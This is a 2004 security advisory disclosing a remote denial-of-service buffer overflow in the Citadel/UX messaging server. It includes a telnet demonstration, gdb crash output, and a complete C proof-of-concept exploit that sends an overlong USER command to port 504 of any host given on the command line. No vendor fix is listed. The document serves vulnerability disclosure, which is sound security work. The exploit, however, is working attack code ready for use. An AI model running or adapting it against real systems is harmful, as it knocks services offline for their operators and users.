Citadel/UX Remote DoS Vulnerability

From: CoKi (coki_at_nosystem.com.ar)
Date: 07/29/04

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    Date: 29 Jul 2004 12:56:54 -0000
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    -------------------------------------------------
    No System Group - Advisory #04 - 28/07/04
    -------------------------------------------------
    Program: Citadel/UX
    Homepage: http://www.citadel.org
    Operating System: Linux and Unix-Compatible
    Vulnerable Versions: Citadel/UX v6.23 and prior
    Risk: Medium / High
    Impact: Remote Denial of Service Vulnerability
    -------------------------------------------------

    - DESCRIPTION
    -------------------------------------------------
    Citadel/UX is an advanced client/server messaging and
    collaboration system for BBS and groupware applications.
    Users can connect to Citadel/UX using any telnet, WWW,
    or client software. Among the features supported are
    public and private message bases (rooms), electronic
    mail, real-time chat, paging, etc. The server is
    multithreaded and can easily support a large number of
    concurrent users. In addition, SMTP, IMAP, and POP3
    servers are built-in for easy connection to Internet
    mail. Citadel/UX is both robust and mature, having been
    developed over the course of the past thirteen years.

    More informations at: http://www.citadel.org

    - DETAILS
    -------------------------------------------------
    When sending a USER to Citadel/UX (port 504) longer than
    97 bytes, an overflow will occur and EIP will be
    overwriten.

    coki@servidor:~$ telnet localhost 504
    Trying 127.0.0.1...
    Connected to localhost.
    Escape character is '^]'.
    200 servidor Citadel/UX server ready.
    USER AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
    AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
    AAA
    Connection closed by foreign host.
    coki@servidor:~$

    Now we proceed to open gdb to view what may have occured.

    root@servidor:~# ps -ax | grep "citserver -d"
    20147 pts/2 S 0:00 /usr/local/citadel/citserver -d
    root@servidor:~# gdb citserver 20147
    GNU gdb 5.3
    Copyright 2002 Free Software Foundation, Inc.
    GDB is free software, covered by the GNU General Public
    License, and you are welcome to change it and/or distribute
    copies of it under certain conditions.
    Type "show copying" to see the conditions.
    There is absolutely no warranty for GDB. Type "show
    warranty" for details. This GDB was configured as
    "i386-slackware-linux"...citserver: No such file or directory.

    Attaching to process 20147
    Reading symbols from /usr/local/citadel/citserver...done.
    Reading symbols from /lib/libpthread.so.0...done.
    Loaded symbols for /lib/libpthread.so.0
    Reading symbols from /lib/libncurses.so.5...done.
    Loaded symbols for /lib/libncurses.so.5
    Reading symbols from /lib/librt.so.1...done.
    Loaded symbols for /lib/librt.so.1
    Reading symbols from /usr/lib/libz.so.1...done.
    Loaded symbols for /usr/lib/libz.so.1
    Reading symbols from /lib/libresolv.so.2...done.
    Loaded symbols for /lib/libresolv.so.2
    Reading symbols from /lib/libc.so.6...done.
    Loaded symbols for /lib/libc.so.6
    Reading symbols from /lib/ld-linux.so.2...done.
    Loaded symbols for /lib/ld-linux.so.2
    Reading symbols from /lib/libnss_compat.so.2...done.
    Loaded symbols for /lib/libnss_compat.so.2
    Reading symbols from /lib/libnsl.so.1...done.
    Loaded symbols for /lib/libnsl.so.1
    0x401072e1 in sigpending () from /lib/libc.so.6
    (gdb) c
    Continuing.

    Program received signal SIG32, Real-time event 32.
    0x401072e1 in sigpending () from /lib/libc.so.6
    (gdb) c
    Continuing.

    Program received signal SIGSEGV, Segmentation fault.
    0x61616161 in ?? ()
    (gdb) i r esp ebp eip
    esp 0xbfffc890 0xbfffc890
    ebp 0x61616161 0x61616161
    eip 0x61616161 0x61616161
    (gdb) q
    The program is running. Quit anyway (and detach it)? (y or n) y
    Detaching from program: /usr/local/citadel/citserver, process 20147
    root@servidor:~#

    The server does a tolower() (converts an uppercase letter to the
    corresponding lowercase letter) on the buffer before the overflow
    occurs, thus limiting the number of instructions we can use.

    - EXPLOIT
    -------------------------------------------------

    ----------------- citadel_dos.c -----------------
    /* citadel_dos.c
     *
     * Citadel/UX Remote DoS exploit (Proof of Concept)
     *
     * Tested in Slackware 9.0.0 / 9.1.0 / 10.0.0
     *
     * by CoKi <coki@nosystem.com.ar>
     * No System Group - http://www.nosystem.com.ar
     */

    #include <stdio.h>
    #include <stdlib.h>
    #include <unistd.h>
    #include <errno.h>
    #include <string.h>
    #include <getopt.h>
    #include <netdb.h>
    #include <sys/types.h>
    #include <sys/fcntl.h>
    #include <netinet/in.h>
    #include <sys/socket.h>

    #define BUFFERSIZE 96+1
    #define ERROR -1
    #define TIMEOUT 3
    #define PORT 504

    int connect_timeout(int sfd, struct sockaddr *serv_addr,
      socklen_t addrlen, int timeout);
    void use(char *program);

    int main(int argc, char *argv[]) {
            char buffer[BUFFERSIZE], *p, temp[BUFFERSIZE];
            int sockfd;
            struct hostent *he;
            struct sockaddr_in dest_dir;

            if(argc != 2) use(argv[0]);

            p = buffer;

            printf("\n Citadel/UX Remote DoS exploit (Proof of Concept)\n");
            printf(" by CoKi <coki@nosystem.com.ar>\n\n");
        
          memset(p, 'A', 96);
            p += 92;
            *p = '\0';

            printf(" [+] verifying host:\t");
            fflush(stdout);
            
            if((he=gethostbyname(argv[1])) == NULL) {
                    herror("Error");
                    printf("\n");
                    exit(1);
            }
            
            printf("OK\n");

            if((sockfd=socket(AF_INET, SOCK_STREAM, 0)) == ERROR) {
                    perror("Error");
                    printf("\n");
                    exit(1);
            }

            dest_dir.sin_family = AF_INET;
            dest_dir.sin_port = htons(PORT);
            dest_dir.sin_addr = *((struct in_addr *)he->h_addr);
            bzero(&(dest_dir.sin_zero), 8);

            printf(" [+] conecting...\t");
            fflush(stdout);
            
            if(connect_timeout(sockfd, (struct sockaddr *)&dest_dir,
                    sizeof(struct sockaddr), TIMEOUT) == ERROR) {
                    
                    printf("Closed\n\n");
                    exit(1);
            }

            printf("OK\n");
            
            printf(" [+] sending exploit...\t");
            fflush(stdout);
            
            recv(sockfd, temp, sizeof(temp), 0);
            send(sockfd, "USER ", 5, 0);
            send(sockfd, buffer, strlen(buffer), 0);
            send(sockfd, "\n", 1, 0);
            close(sockfd);
            
            printf("OK\n\n");
    }

    int connect_timeout(int sfd, struct sockaddr *serv_addr,
      socklen_t addrlen, int timeout) {

      int res, slen, flags;
      struct timeval tv;
      struct sockaddr_in addr;
      fd_set rdf, wrf;

      fcntl(sfd, F_SETFL, O_NONBLOCK);

      res = connect(sfd, serv_addr, addrlen);

      if (res >= 0) return res;

      FD_ZERO(&rdf);
      FD_ZERO(&wrf);

      FD_SET(sfd, &rdf);
      FD_SET(sfd, &wrf);
      bzero(&tv, sizeof(tv));
      tv.tv_sec = timeout;

      if (select(sfd + 1, &rdf, &wrf, 0, &tv) <= 0)
        return -1;

      if (FD_ISSET(sfd, &wrf) || FD_ISSET(sfd, &rdf)) {
        slen = sizeof(addr);
        if (getpeername(sfd, (struct sockaddr*)&addr, &slen) == -1)
        return -1;

        flags = fcntl(sfd, F_GETFL, NULL);
        fcntl(sfd, F_SETFL, flags & ~O_NONBLOCK);

        return 0;
      }

      return -1;
    }

    void use(char *program) {
            printf("Use: %s <host>\n", program);
            exit(1);
    }

    ----------------- citadel_dos.c -----------------

    coki@servidor:~$ make citadel_dos
    coki@servidor:~$ ./citadel_dos localhost

     Citadel/UX Remote DoS exploit (Proof of Concept)
     by CoKi <coki@nosystem.com.ar>

     [+] verifying host: OK
     [+] conecting... OK
     [+] sending exploit... OK

    coki@servidor:~$

    - SOLUTIONS
    -------------------------------------------------
    Vendor contacted but does not answer

    - REFERENCES
    -------------------------------------------------
    http://www.nosystem.com.ar/advisories/advisory-04.txt

    - CREDITS
    -------------------------------------------------
    Discovered by CoKi <coki@nosystem.com.ar>

    No System Group - http://www.nosystem.com.ar

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